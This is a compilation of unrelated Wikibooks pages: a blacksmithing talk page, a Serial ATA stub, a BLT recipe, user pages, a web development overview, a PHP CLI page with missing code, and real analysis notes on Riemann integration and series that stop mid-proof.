5) If you have worked a primitive forge or try any of the projects and such in here, please feed back your results and questions. I'd love to hear about it either here or in a direct e-mail.

Thanks to those who have contributed by direct editing or stopping by!

--erraunt 01:26, 13 Mar 2005 (UTC)

More additons, Contemplated Changes
Added more text today.

Realized that it's beyond 32 KB (or MB?) and that might be too much for some browsers.

Should break out some of the sections and link to them. That will have to be a project for another day.

Apologies to any who try to edit it until I get to that.

erraunt

Break Out into Modules
Got the message this weekend that the main book is now over 32 KB and could cause problems for some browsers.

This combined with my growing feeling that the size is getting cumbersome has got me thinking about ways to modularize this work.

My current thought is to migrate this toward a main heading on the bookshelf of "Blacksmithing". "Down'n'Dirty Blacksmithing" will be one title under that.

The excercises and projects will be modules as links from the core book.

Ultimately this will be both easier to edit and more useful.

I'm giving thought to an organization and will post that in a few days (hopefully).

If others have thoughts, please comment. --Erraunt, ~Mar ***, 2005

Hi. I've split the tools section from this book, probably will do more. Very interesting and informative book, by the way. I used to be really interested in blacksmithing, ~12 years ago(8yrsOld). It's probably illegal here though. And it sounds hard to forge circuitry.. Snargle 04:44, 1 August 2005 (UTC)

Thanks for your interest, Snargle. I hope to do more with it when not quite so busy. erraunt 15:37, 30 August 2005 (UTC)

Images
I've found a picture source on http://commons.wikimedia.org/wiki/Category:Smiths --Snargle 09:53, 1 August 2005 (UTC)

Added a bit on "Drawing"...
...which I hope is not taken amiss. My technical skill (as a smith) are pretty weak, but I've made almost every mistake you can (but no severe burns!).

Thanks for doing this, I hope I can help and that it is taken as such, not as an intrusion. Thejonas 8-23-2007

Comment
Hi there. This book looks interesting, and very well written. I myself am currently working on the Welding wikibook, but it is going fairly slow... Its just me writing it so far. I came around searching for blacksmithing (as I am writing a 'history' section in mine,) and I found lots, but not really history. Anyway, wonderful topic, great job! AtlantisEndevour (talk) 05:23, 10 June 2008 (UTC)

title: Talk:Down'n'dirty Blacksmithing


text:
Serial Programming/Serial ATA

''NOTE: This is a very sparse document right now. You may want to check out alternate sources in the meantime for more information.''

Introduction
S-ATA or Serial ATA

Is a new technology to replace the P-ATA or parallel ATA.

It has the following advantages:

 * less power consumption 500 millivolts in P_ATA 5 volts.
 * easy to install, without seating master and slave.
 * good air movement replacing ribbon cable to guarantee good air flow.

title: Serial Programming/Serial ATA


text:
Cookbook:BLT Sandwich

| Sandwiches

The bacon, lettuce and tomato sandwich, commonly referred to as the BLT, is a classic sandwich that can be found almost everywhere.

Ingredients

 * Bacon, sliced into rashers
 * Lettuce, washed and shredded, torn, or in whole leaves
 * Ripe tomato, sliced into thin disks
 * 2 slices of any type of bread
 * Sandwich spread or condiments (e.g., butter, margarine, mayonnaise, cream cheese, or mustard, although mayonnaise is traditional)
 * Ground black pepper, if desired

Procedures

 * 1) Toast the 2 slices of bread.
 * 2) While the bread is toasting, broil or fry the bacon until crisp, taking care not to burn it.
 * 3) Once the toasted bread is ready, spread with desired condiments.
 * 4) Layer one slice of toast with the lettuce, tomato slices, and bacon. Add black pepper as desired. Top with other slice of toast.
 * 5) Cut into triangles or halves as preferred. Serve immediately.

Notes, tips, and variations

 * The lettuce, if shredded, may be mixed with the mayonnaise before layering the toast.
 * The lettuce may be omitted, or another green substituted. Watercress is a nice addition.
 * You may add slivers of ripe avocado or raw or cooked red onion to the sandwich, or may substitute them for the lettuce or tomato.
 * You may top the hot bacon in the sandwich with a slice of cheese, such as cheddar, American, muenster, or pepper jack, or use it to replace the tomato (a sandwich prepared in this way is called a BLC sandwich, for "bacon, lettuce, and cheese.")
 * You may place a fried egg in the sandwich. If the egg is fried over-easy or sunny-side-up, the egg's yolk may be broken just before serving so that it dresses the contents of the sandwich.
 * The slices of bread do not need to be toasted, although toast adds a nice texture.
 * You may spread the bread with peanut butter for an interesting variation.
 * You may top the sandwich or its contents with hollandaise sauce.
 * Add ham, turkey and Swiss cheese for a BLT club sandwich.
 * For a vegan variation on the BLT, use marinated and fried or grilled strips of tempeh to substitute for the bacon. Vegetable protein-based false bacon products are also available in some grocery freezers. Use mayonnaise, a vegan mayonnaise substitute, in place of the mayo.
 * A BLT sandwich can also be served on a (non-toasted) hot dog bun or larger variation thereof (although in this case the bacon, lettuce, and tomato should all be shredded.)

Warnings

 * Take care when frying the bacon to avoid a grease fire. Should one occur, do not douse the flames with water, as this will cause the fire to spread; instead, cover the pan tightly or heap with baking soda to smother the flames, and remove from the heat.

料理本/BLTサンド

title: Cookbook:BLT Sandwich


text:
User:A-giâu

See also:

 * w:en:User:A-giau
 * w:zh-min-nan:User:A-giâu

title: User:A-giâu


text:
Web Development/What is web development?

Web development is the work involved in building a website for the internet (World Wide Web) or intranet (private network). A website can be built from scratch or through What You See Is What You Get (WYSIWYG) Editor. Building a website from scratch is more difficult as it requires skilled individuals to manually create and handle Cascading Style Sheets (CSS), HyperText Markup Language (HTML), programming, web architecture, page structure, java script files and more. Building a WYSIWYG editor is easier as all of the programming and coding is done for you and it although some platforms give you the option to code, it is not needed. Using a WYSIWYG mainly consist of design principles since the coding is developed for you.

Due to the complexity of building websites, web development is divided into two types of functions: front-end and back-end. Front-end web development consists of everything a user can view, hear or interact with on a web page (otherwise known as content) and bridges the gap between web design and back-end development. A front-end web developer normally receives design principles from the web designer and input them into the front-end code so the back-end developer can understand it and build functionality around it. Web Accessibility and web performance are two essential aspects to front-end web development because so much of information is viewed and accessed through mobile devices.

A website or application must be functional or else it will fail. Back-end developers are responsible for the functionality of a website and need to know and understand programming language, databases and server architecture. If a website or application is slow, crashing or throwing errors at users it is likely because of back-end issues.

The intricacy of web development is why most people today are using WYSIWYG’s. It is very difficult to build and maintain a website from the ground up without the bandwidth. WYSIWYG’s enable everyday people to create and manage a website on their own with little to no help or on their own.

Most websites use a Content Management System (CMS) to deliver and store information. Some of the most notable CMS’s are WordPress, SharePoint and Drupal. A CMS is useful when building a website with textual dynamic content. CMS’s are not needed if there is no content to be managed.


text:
User:FirstPrinciples~enwikibooks

Please refer to my Wikipedia user page.

title: User:FirstPrinciples~enwikibooks


text:
User:Charles Iliya Krempeaux~enwikibooks

See my Wikipedia user page: http://en.wikipedia.org/wiki/User:Charles_Iliya_Krempeaux


text:
PHP Programming/PHP CLI

Contrary to popular belief, PHP is not just a web server language. PHP can also be used to create regular programs. PHP can be used to create GUI applications, shell scripts, and even daemons, among other things.

The boon is that all (or most) of the usual PHP libraries are available to your PHP CLI program too. MySQL, XML, etc. It's all (or mostly) still available.

Example PHP-CLI Program
Below is an example PHP-CLI program:

If we saved this as "helloworld.php", then we'd run this PHP CLI program via the command: php helloworld.php

This would produce the output: Hello World

Difference Between PHP and PHP CLI
There are some important differences between server-side PHP and PHP CLI. Here's a list of them:
 * 1) There is no   super global array.
 * 2) There is no   super global array.
 * 3) There is no   super global array.
 * 4) When you do a print, the output goes to the standard output and not a web browser.
 * 5) You can get command line arguments via the   variable.
 * 6) You can get the number of command line arguments via the   variable.

Using and
Like many programs, it is necessary to access the command line variable used to invoke the program. To do this in PHP we have two variables:

With  in the php.ini file one can use:

With  in the php.ini file one can use:

(For those know Bash, C or C++ program languages. they'll find these pair of variables to be very familiar)

Below is an program that makes use of the  and   variables:

If we save this PHP program as "test1.php", and ran it with: php test1.php apple orange banana pineapple Then we'd get: ARGC = 5 ARGV[0] = test1.php ARGV[1] = apple ARGV[2] = orange ARGV[3] = banana ARGV[4] = pineapple

(Note that like in Bash, C and C++ programs, the first element of  is the name of the program.)

title: PHP Programming/PHP CLI


text:
Real Analysis/Riemann integration

Definition
Riemann integration is the formulation of integration most people think of if they ever think about integration. It is the only type of integration considered in most calculus classes; many other forms of integration, notably Lebesgue integrals, are extensions of Riemann integrals to larger classes of functions. The Riemann integral was developed by Bernhard Riemann in 1854 and was, when invented, the first rigorous definition of integration applicable to not necessarily continuous functions.

We will first define some preliminary ideas.

Definition
Let $$a,b\in\R$$

A Partition $$\mathcal{P}$$ is defined as the ordered $$n$$-tuple of real numbers $$\mathcal{P}=(x_0,x_1,\ldots,x_n)$$ such that $$a=x_0<x_1<\ldots<x_n=b$$

Norm of a Partition
Let $$\mathcal{P}$$ be a partition given by $$\mathcal{P}=(x_0,x_1,x_2,\ldots,x_n)$$

Then, the Norm (or the "mesh") of $$\mathcal{P}$$ is defined as $$\|\mathcal{P}\|=\sup\Big\{\big|x_k-x_{k-1}\big|:1\le k\le n\Big\}$$

Tagged Partition
Let $$\mathcal{P}=(x_0,x_1,\ldots,x_n)$$ be a partition

A Tagged Partition $$\mathcal{\dot{P}}$$ is defined as the set of ordered pairs $$\mathcal{\dot{P}}=\Big\{\big([x_{k-1},x_k],t_k\big)\Big\}_{k=1}^n$$ such that $$x_{k-1}\le t_k\le x_k$$. The points $$t_k$$ are called Tags.

Riemann Sums
Let $$f:[a,b]\to\mathbb{R}$$

Let $$\mathcal{\dot{P}}=\Big\{\big([x_{k-1},x_k],t_k\big)\Big\}_{k=1}^n$$ be a tagged partition of $$[a,b]$$

The Riemann Sum of $$f$$ over $$[a,b]$$ with respect to $$\mathcal{\dot{P}}$$ is given by

$$S(f,\mathcal{\dot{P}})=\sum_{k=1}^n f(t_k)(x_k-x_{k-1})$$

Riemann Integral
Let $$f:[a,b]\to\R$$

Let $$L\in\R$$

We say that $$f$$ is Integrable on $$[a,b]$$ if and only if, for every $$\varepsilon>0$$ there exists $$\delta>0$$ such that for every partition $$\mathcal{\dot{P}}$$ satisfying $$\|\mathcal{\dot{P}}\|<\delta$$, we have that $$|S(f,\mathcal{\dot{P}})-L|<\varepsilon$$

$$L$$ is said to be the integral of $$f$$ over $$[a,b]$$, and is written as

$$L=\int\limits_a^b f(x)dx$$ or as $$L=\int\limits_a^b f$$

Theorem (Uniqueness)
Let $$f:[a,b]\to\R$$ be integrable on $$[a,b]$$

Then the integral $$L$$ of $$f$$ is unique

Proof
Assume, if possible that $$L_1\ne L_2$$ are both integrals of $$f$$ over $$[a,b]$$. Consider $$\varepsilon=\tfrac{|L_1-L_2|}{2}$$

As $$L_1,L_2$$ are integrals, there exist $$\delta_1,\delta_2>0$$ such that $$|S(f,\mathcal{\dot{P}})-L_1|<\varepsilon$$ for all $$\mathcal{\dot{P}}$$ that satisfy $$\|\mathcal{\dot{P}}\|<\delta_1$$ and $$|S(f,\mathcal{\dot{P}})-L_2|<\varepsilon$$ for all $$\mathcal{\dot{P}}$$ that satisfy $$\|\mathcal{\dot{P}}\|<\delta_2$$

Let $$\delta=\inf\{\delta_1,\delta_2\}$$. Hence, if $$\mathcal{\dot{P}}$$ is a partition satisfying $$\|\mathcal{\dot{P}}\|<\delta$$, then we have $$|S(f,\mathcal{\dot{P}})-L_1|<\varepsilon$$ and that $$|S(f,\mathcal{\dot{P}})-L_2|<\varepsilon$$

That is, $$|L_1-L_2|<2\varepsilon=|L_1-L_2|$$, which is an obvious contradiction. Hence the integral $$L$$ of $$f$$ is unique.

We now state (without proof) two seemingly obvious properties of the integral.

Theorem
Let $$f,g:[a,b]\to\R$$ be integrable and let $$c\in(a,b)$$

Then:

(i)$$\int\limits_a^b f+\int\limits_a^b g=\int\limits_a^b(f+g)$$

(ii)$$\int\limits_a^c f+\int\limits_c^b f=\int\limits_a^b f$$

Theorem (Boundedness Theorem)
Let $$f:[a,b]\to\R$$ be Riemann integrable. Then $$f$$ is bounded over $$[a,b]$$

Proof
Assume if possible that $$f$$ is unbounded. For every $$n\in\N$$ divide the interval $$[a,b]$$ into $$n$$ parts. Hence, for every $$n\in\N$$, $$f$$ is unbounded on at least one of these $$n$$ parts. Call it $$I_n$$.

Now, let $$\varepsilon>0$$ be given. Consider an arbitrary $$\delta>0$$. Let $$\mathcal{\dot{P}}$$ be a tagged partition such that $$\|\mathcal{\dot{P}}\|<\delta$$ and $$(I_n,t_n)\in\mathcal{\dot{P}}$$, where $$t_n$$ is taken so as to satisfy $$|f(t_n)|>n\varepsilon$$.

Thus we have that $$|S(f,\mathcal{\dot{P}})-L|>\varepsilon$$. But as $$\delta>0$$ is arbitrary, we have a contradiction to the fact that $$f$$ is Riemann integrable.

Hence, $$f$$ is bounded.

Integrability
We now study classes of Riemann integrable functions. The first "constraint" on Riemann integrable functions is provided by the Cauchy Integrability Criterion.

Theorem (Cauchy Criterion)
Let $$f:[a,b]\to\mathbb{R}$$

Then,

(i)$$f$$ is Riemann integrable on $$[a,b]$$ if and only if

(ii) For every $$\varepsilon>0$$, there exists $$\delta>0$$ such that if $$\mathcal{\dot{P}},\mathcal{\dot{Q}}$$ are two partitions satisfying $$\|\mathcal{\dot{P}}\|,\|\mathcal{\dot{Q}}\|<\delta$$ then $$|S(f,\mathcal{\dot{P}})-S(f,\mathcal{\dot{Q}})|<\varepsilon$$

Proof
($$\Rightarrow$$)Let $$\int_a^b f=L$$ and let $$\varepsilon>0$$ be given.

Then, there exists $$\delta>0$$ such that for every partition $$\mathcal{\dot{P}}$$ satisfying $$\|\mathcal{\dot{P}}\|<\delta$$,we have $$|S(f,\mathcal{\dot{P}})-L|<\tfrac{\varepsilon}{2}$$

Now, let partitions $$\mathcal{\dot{P}},\mathcal{\dot{Q}}$$ be such that $$\|\mathcal{\dot{P}}\|,\|\mathcal{\dot{Q}}\|<\delta$$.

Thus we have that $$|S(f,\mathcal{\dot{P}})-L|,|S(f,\mathcal{\dot{Q}})-L|<\tfrac{\varepsilon}{2}$$, that is $$|S(f,\mathcal{\dot{P}})-S(f,\mathcal{\dot{Q}})|<\varepsilon$$

($$\Leftarrow$$) For every $$n\in\mathbb{N}$$, consider $$\delta_n>0$$ such that for all partitions $$\mathcal{\dot{P}},\mathcal{\dot{Q}}$$ satisfying $$\|\mathcal{\dot{P}}\|,\|\mathcal{\dot{Q}}\|<\delta_n$$, we have $$|S(f,\mathcal{\dot{P}})-S(f,\mathcal{\dot{Q}})|<\tfrac{1}{n}$$.

Without loss of generality, we can assume that $$\delta_m>\delta_n$$ when $$m0$$, we have a $$\delta>0$$ such that $$\|\mathcal{\dot{P}}\|<\delta$$ implies $$|S(f,\mathcal{\dot{P}})-L|<\varepsilon$$.

Thus $$\int_a^b f=L$$

Theorem (Squeeze Theorem)
Let $$f:[a,b]\to\mathbb{R}$$

Then,

(i) $$f$$ is Riemann integrable on $$[a,b]$$ if and only if

(ii) For every $$\varepsilon>0$$, there exist Riemann integrable functions $$\alpha_{\varepsilon},\omega_{\varepsilon}:[a,b]\to\mathbb{R}$$ such that

$$\alpha_{\varepsilon}(x)\leq f(x)\leq\omega_{\varepsilon}(x)$$ for all $$x\in[a,b]$$ and

$$\int_a^b (\omega_{\varepsilon}-\alpha_{\varepsilon})<\varepsilon$$

Proof
($$\Rightarrow$$)Take $$\alpha_{\varepsilon}(x)=f(x)=\omega_{\varepsilon}(x)$$. It is easy to see that $$\int_a^b (\omega_{\varepsilon}-\alpha_{\varepsilon})<\varepsilon$$

($$\Leftarrow$$)Let $$n\in\mathbb{N}$$. Then, there exist functions $$\alpha_n,\omega_n$$ such that $$\int_a^b (\omega_n-\alpha_n)<\tfrac{1}{n}$$. Further, if $$\int_a^b \alpha_n=A_n$$ and $$\int_a^b \omega_n=Z_n$$, then there exist $$\delta_1,\delta_2>0$$ such that if a partition $$\mathcal{\dot{P}}$$ satisfies $$\|\mathcal{\dot{P}}\|<\delta_1$$ then $$|S(\alpha_n,\mathcal{\dot{P}})-A_n|<\tfrac{1}{n}$$ and $$\|\mathcal{\dot{P}}\|<\delta_2$$ then $$|S(\omega_n,\mathcal{\dot{P}})-Z_n|<\tfrac{1}{n}$$

Now let $$\mathcal{\dot{P}}_n$$ be a partition satisfying $$\|\mathcal{\dot{P}}_n\|<\inf \{\delta_1,\delta_2\}$$.

Now, we can easily see that $$|S(f,\mathcal{\dot{P}}_n)-S(f,\mathcal{\dot{P}}_{n-1})|<\tfrac{1}{n}$$. Hence, $$S(f,\mathcal{\dot{P}}_n)$$ is a Cauchy sequence, with a limit $$L\in\mathbb{R}$$, and as in the previous proof, we can show that $$\int_a^b f=L$$

title: Real Analysis/Riemann integration


text:
Real Analysis/Series

Frequently in analysis it is useful to consider the sum of infinitely many numbers. So for some sequence of numbers (an) we may want to consider expressions like
 * $$\sum_{n=1}^\infty a_n$$.

But the exact meaning of this may not be immediately clear. Intuitively we would like to say that the sum of infinitely many numbers should be the number we get close to after we have summed a large number of terms. We will use the notion of the limit of a sequence to make this precise. The standard terminology in the study of series sometimes has room for improvement, but we follow the standard terminology in this section.

Definition
We begin with a sequence (an) of the numbers we would like to sum.

 * Definition A series of real numbers is an infinite formal sum
 * $$\sum_{n=1}^\infty a_n$$
 * where each term an is a real number.

This definition deserves a few comments. The first is that no attempt is being made to define a formal sum. It is possible to define a formal sum simply as the sequence of terms, but this doesn't add any clarity to the discussion. The reason for allowing the series to be formal is merely a matter of convenience. It is frequently easier to refer to a series before it as been determined if there is any number that should represent the sum. This is very similar to the standard practice of saying $$\textstyle \lim_{n\to\infty}a_n$$ does not exist - we have only defined the meaning of the symbols $$\textstyle \lim_{n\to\infty}a_n$$ in the case when the limit does exist. We should instead say that the sequence an does not converge. However, the meaning of the previous statement is perfectly clear.
 * Definition The n-th partial sum of a sequence an is defined to be the sum of the first n terms of (an), that is
 * $$S_n=\sum_{i=1}^n a_i=a_1+a_2+\cdots+a_n$$.
 * When the sequence an is being thought of as the terms of a series, then Sn is often called the n-th partial sum of the series.

Often several partial sums may appear in the same argument, so the partial sum is often written simply as $$\sum_{i=1}^n a_i$$ instead of Sn when we wish to avoid confusion.

 * Definition For a series $$\textstyle \sum_{n=1}^\infty a_n$$ we define the sum of the series to be the limit of the partial sums.  That is, we define:
 * $$ \sum_{n=1}^{\infty} a_{n}=\lim_{N\to\infty} \sum_{n=1}^N a_n=\lim_{N\to\infty}S_N$$.
 * If the limit exists we say the series converges, otherwise we say the series diverges.

It should be emphasized when a series diverges, we cannot interpret $$\textstyle \sum_{n=1}^\infty a_n$$ as a number, but only as a formal sum. On the other hand when the series does converge, it is often not known what number the series converges to, so this number is usually denoted by $$\textstyle \sum_{n=1}^\infty a_n$$. Again this is similar to writing $$\textstyle \lim_{n\to\infty}a_n$$ before the convergence of the sequence an is established. In practice the meaning of the symbols $$\textstyle \sum_{n=1}^\infty a_n$$ is clear from context.

Often it is convenient to sum series starting from some number other than n = 1, and start the series some other point like 0, 2, −10, etc. This hopefully should cause no confusion; the sum of the series is still defined as the limit of the partial sums. Often, it is clear from context where the sum begins. In these cases it is not uncommon to leave the index out of the sigma notation - that is, it is useful to write ∑an for $$\textstyle \sum_{n=1}^\infty a_n$$

Examples
 The notion of an infinite sum can be a little more subtle than it first appears. For example, consider the sequence an = (−1)n. Does the sum of the an converge or diverge? We could consider the partial sums SN, which are 1 if N is odd and 0 if N is even. So it seems the series diverges. On the other hand, 1 − 1 + 1 − 1 + 1 − 1 + … = (1 − 1) + (1 − 1) + (1 − 1) + … = 0 + 0 + 0 + … = 0. Does then the series diverge or converge to 0, according to our theory? The answer is it diverges; the fallacy in the previous sentence was in asserting that 1 − 1 + 1 − 1 + 1 − 1 + … = (1 − 1) + (1 − 1) + (1 − 1) + …. It is no longer true that for infinite series that we may sum in any order we choose; we must justify why we are allowed to group the +1's together with the -1's without changing the sum. Stated formally, associativity does not necessarily hold for infinite series. We will investigate when it is possible to rearrange the elements of a series and still get the same sum.  Perhaps the most familiar examples of series come from decimal expansions of real numbers. While we have not given a rigorous definition of decimal expansions here, it can be shown that every real number r can be expressed in the form $$\textstyle r = \sum_{n=0}^{\infty} \frac{a_n}{10^n}$$ where an ∈ {0, 1, 2, 3, 4, 5, 6, 7, 8, 9} Consider the series $$\textstyle \tfrac{1}{1\cdot 2}+\tfrac{1}{2\cdot 3}+\tfrac{1}{3\cdot 4}\cdots=\sum_{n=1}^\infty\tfrac{1}{n(n+1)}$$. At first it may seem difficult to determine the partial sums and decide whether or not the series converges. However, it turns out that this series is nicer than it first appears, since $$\textstyle \frac{1}{n(n+1)}=\frac{1}{n}-\frac{1}{n+1}.$$ Thus

 * $$\sum_{n=1}^N \frac{1}{n(n+1)}=\sum_{n=1}^N \frac{1}{n}-\frac{1}{n+1}=1-\frac{1}{2}+\frac{1}{2}-\frac{1}{3}+\frac{1}{3}-\frac{1}{4}+\cdots+\frac{1}{N}-\frac{1}{N+1}=1-\frac{1}{N+1}.$$

Thus $$\textstyle \lim_{N\to\infty}\sum_{n=1}^N\tfrac{1}{n(n+1)}=\lim_{N\to\infty}(1-\tfrac{1}{N+1})=1.$$ This is an example of a telescoping series - that is, a series that can be written in the form such that the next term cancels with the previous terms. That is,
 * $$\sum_{n=1}^{\infty}a_n-a_{n+1}$$

For all such series the partial sums are given by SN = a1 − aN+1. That is, the terms of the series collapse like a telescope, leaving only the first and last. Such a series converges to a1 − lim aN+1.  Another important example of a series is the geometric series given by $$\sum_{n=0}^{\infty} r^n $$. The partial sums for the geometric series first appear quite complicated. At first glance the partial sums would just appear to be SN = 1 + r +r2 + … + rN, but if we calculate (1 − r)SN then the sum telescopes and we are left with (1 − r)SN = (1 − r)N+1. Notice that this sum holds for any r or N, so we conclude that $$\textstyle S_N=\tfrac{1-r^{N+1}}{1-r}$$. Thus a geometric series converges if |r| < 1.

Basic Facts
Here we collect facts about series that follow immediately from the properties of finite sums a limits and do not require a delicate analysis of the limits involved.

Theorem (Algebraic Operations)
Suppose ∑ an and ∑ bn are convergent series, then we immediately have the following two theorems.

 * For any real number c the series ∑ (c·an) is convergent and converges to c·(∑ an).
 * The series ∑ (an + bn) is convergent and converges to (∑ an ) + (∑ bn )

Proof
For the first statement notice that for any natural number N, we have that $$\textstyle \sum_{n=1}^N c\cdot a_n=\textstyle c\cdot \sum_{n=1}^N a_n$$. Thus
 * $$\lim_{N\to\infty}\sum_{n=1}^N c\cdot a_n=\lim_{N\to\infty}c\cdot \sum_{n=1}^N a_n=c\cdot \lim_{N\to\infty}\sum_{n=1}^N a_n$$.

This proves the first statement.

For the second statement again notice that for any N we have that $$\textstyle \sum_{n=1}^N a_n+b_n=\sum_{n=1}^N a_n+\sum_{n=1}^N b_n$$. Thus
 * $$\lim_{N\to\infty}\sum_{n=1}^N a_n+b_n=\lim_{N\to\infty}\left(\sum_{n=1}^N a_n+\sum_{n=1}^N b_n\right)=\lim_{N\to\infty}\sum_{n=1}^N a_n+\lim_{N\to\infty}\sum_{n=1}^N b_n$$.

This proves the second statement. $$\Box$$

The following is merely a restatement of Cauchy's Criterion.

Theorem (Cauchy's Criterion for Series)
A series $$\textstyle \sum_{n=1}^{\infty} a_n$$ converges if and only if for any ε > 0 there is a natural number N so that $$\textstyle |\sum_{k=n+1}^m a_k| < \epsilon$$ for any natural numbers  m > n > N.

Proof
By the definition of convergence for a series $$\textstyle \sum_{n=1}^{\infty} a_n$$ converges if and only if $$\textstyle\lim_{N\to\infty}\sum_{k=1}^N a_k$$ converges. But by the Cauchy criterion for sequences this limit exists if and only if for any ε > 0 we can find a natural number N so that for n, m > N we have that
 * $$\left|\sum_{k=1}^n a_k-\sum_{k=1}^m a_k\right|<\epsilon.$$

Without loss of generality we may assume m > n. Canceling the terms that occurs in both sums completes the proof. $$\Box$$

Absolute Convergence
As we will see series may behave in ways that defy our intuition. So, it is useful to identify which classes of convergent series behave in a way more consistent with our intuition. We shall see that once such class of series are the so called absolutely convergent series.

 * Definition A series $$\textstyle \sum_{n=1}^{\infty} a_n$$ converges absolutely if the series of the absolute values of its terms converges, that is, if $$\textstyle\sum_{n=1}^{\infty} |a_n|$$ is a convergent series.

Notice we have not said required that ∑ an is convergent, this is because the property of absolute convergence implies that ∑ an is convergent.

Theorem (Absolute Convergence)
If $$\textstyle\sum_{n=1}^{\infty} a_n$$ converges absolutely, then it converges.

Proof
Suppose $$\textstyle\sum_{n=1}^{\infty} a_n$$ is absolutely convergent. By the Cauchy criterion we can show that $$\textstyle \sum_{n=1}^\infty a_n$$ converges if for any ε > 0 we can find an N so that if m > n > N then $$\textstyle |\sum_{k=n+1}^{m} a_k|<\epsilon$$. But we know that $$\textstyle \sum_{n=1}^\infty |a_n|$$ converges, so ε > 0 by the Cauchy criterion choose N so that if m > n > N then $$\textstyle |\sum_{k=n+1}^{m} |a_k||=\textstyle \sum_{k=n+1}^{m} |a_k|<\epsilon$$. With this N in hand take any m > n > N, it then follows from the triangle inequality that
 * $$|\sum_{k=n+1}^m a_k|\leq \sum_{k=n+1}^m |a_k|< \epsilon.$$

Therefore by the Cauchy criterion $$\sum_{n=1}^\infty a_n$$ converges. $$\Box$$

Tests for convergence and divergence
Given a series $$\textstyle \sum_{n=1}^\infty a_n$$ it is very useful to be able to tell if the series converges or diverges. Particularly if we can do so simply by looking at the terms. In this section we set out to collect such theorems. Notice we have already seen one example. That is a series is convergent if it is absolutely convergent, now we explore when we can decide if a series is convergent.

Although the following theorem is stated in terms of convergence, it actually gives a useful test for divergence. Namely, if the terms of a series do not have limit 0, the series must diverge.

Theorem (Terms Have Limit 0)
For any converging series $$\textstyle\sum_{n=1}^{\infty} a_n$$ the terms must tend to 0, that is $$\textstyle \lim_{n\rightarrow \infty} a_n = 0. $$

Proof
Given any ε > 0, by the Cauchy Criterion for series, we can choose a natural number N so that $$\textstyle |\sum_{i=n+1}^m a_i|<\epsilon$$ when ever m > n ≥ N. In particular, for any k > N we may apply this in the case when n = k − 1 and m = k. In this case the sum reduces to the single term ak. Thus if k > N  we have that |ak| < ε and therefore the sequence (an) → 0. $$\Box$$

Remark To give an example of how to use this to test for divergence of a series consider the example of a geometric series $$\textstyle \sum_{n=0}^\infty r^n$$. We have already shown that this series converges if |r| < 1. On the other hand we have not determined if the series converges or diverges for other values of r. Now it is clear that if |r| ≥ 1 then the sequence rn does not tend to zero. So we now know that the geometric series $$\textstyle \sum_{n=0}^\infty r^n$$ converges if and only of |r| < 1.

Theorem (Positive Series Converge)
Suppose $$\textstyle \sum_{n=1}^{\infty} a_n$$ is a series of non-negative terms, that is an ≥ 0, then the series either converges if and only if the partial sums are bounded above.

Proof
Since the terms are non-negative, we clearly have $$\textstyle \sum_{n=1}^N a_n \leq \sum_{n=1}^{N+1} a_n$$ and hence the partial sums form a monotonic sequence. If the partial sums are bounded then the series converges. If they are unbounded, then for any M > 0 we can find an N so that $$\textstyle \sum_{n=1}^N a_n \geq M$$, since the partial sums are non-decreasing, we have that $$\textstyle\lim_{N \rightarrow \infty}\sum_{n=1}^N a_n = \infty $$, and hence the series does not converge. $$\Box$$

Remark It follows from the proof, together with the Convergence of monotone sequences, that if a sequence of non-negative terms converges we may take the sum of the sequence as an upper bound for the partial sums, as our intuition would dictate.

To determine whether or not a series converges, sometimes it is useful to compare it term-by-term with another series whose convergence is understood. The following theorem gives one such method for comparing.

Theorem (Comparison Test)
Suppose that 0 ≤ an ≤ bn for all natural numbers n and consider the series $$\textstyle \sum_{n=1}^{\infty} a_n $$ and $$\textstyle \sum_{n=1}^{\infty} b_n $$. If the $$\textstyle \sum_{n=1}^{\infty} b_n$$ converges, then $$\textstyle \sum_{n=1}^{\infty} a_n$$ converges. Furthermore, if $$\textstyle \sum_{n=1}^{\infty} a_n$$ diverges, then $$\textstyle \sum_{n=1}^{\infty} b_n $$ diverges.

Proof
First suppose that the ∑ bn converges. Then by our previous theorem we know that the partial sums for some real number we know that $$\textstyle\sum_{n=1}^N b_n\leq\sum_{n=1}^\infty b_n$$. Since an ≤ bn if follows that
 * $$\sum_{k=1}^{N} a_n \leq \sum_{k=1}^{N} b_n \leq \sum_{n=1}^{\infty} b_n $$.

Thus the partial sums of ∑ an are bounded above, since ∑ an is also a series of non-negative terms it follows that ∑ an converges.

Now suppose that ∑ an diverges. Since it is a series of non-negative terms the previous theorem tells us that for any real number M we can find an N so that $$\textstyle M<\sum_{n=1}^N a_n$$. Since an ≤ bn we have that
 * $$M<\sum_{k=1}^{N} a_n \leq \sum_{k=1}^{N} b_n$$.

Therefore the partial sums of ∑ bn cannot be bounded above, and hence by the previous theorem ∑ bn diverges. $$\Box$$

Theorem (Limit Comparison Test)
Suppose $$\textstyle \sum_{n=1}^{\infty} a_n $$ and $$\textstyle \sum_{n=1}^{\infty} b_n$$ series of positive terms so that $$\textstyle 0\leq\limsup_{n\to\infty} \tfrac{a_n}{b_n}<\infty$$. In this case, if $$\textstyle \sum_{n=1}^{\infty} b_n $$ converges, then $$\textstyle \sum_{n=1}^{\infty} a_n$$ converges.

Proof
Suppose the limit of the absolute value of their ratios converges to some positive number r < ∞. Then there exists an N such that if n > N, that $$|\,|\tfrac{a_n}{b_n}|-r|<\tfrac{r}{2}$$, so $$\tfrac{r}{2}<|\tfrac{a_n}{b_n}|<\tfrac{3r}{2}$$. This means that $$\tfrac{r}{2}|b_n|<|a_n|<\tfrac{3r}{2}|b_n|$$. Hence, by the comparison test, if $$\sum_{n=1}^{\infty} b_n$$ converges, then $$\sum_{n=1}^{\infty} a_n $$ also converges. Dividing by $$\tfrac{r}{2}$$, one can also see by the comparison test that if $$\sum_{n=1}^{\infty} a_n $$ converges, then $$\sum_{n=1}^{\infty} b_n $$ also converges.

We need to have ways of checking for convergence and divergence of various series. The following types of series arise quite often, and it is easy to verify when they converge and diverge:

Theorem (Ratio Test)
Supoose that $$\textstyle \lim_{n \rightarrow \infty} \left|\frac{x_{n+1}}{x_n}\right|$$ converges and equals some real number r. If r < 1, then $$\textstyle \sum_{n=1}^{\infty} x_n$$ converges absolutely. If r > 1, then $$\textstyle \sum_{n=1}^{\infty} x_n $$ diverges. Finally, if r = 1, then $$\textstyle \sum_{n=1}^{\infty} x_n$$ may either converge or diverge.

Proof
First suppose that r < 1. Let ε = 1 − r, since r < 1 it follows that ε > 0.

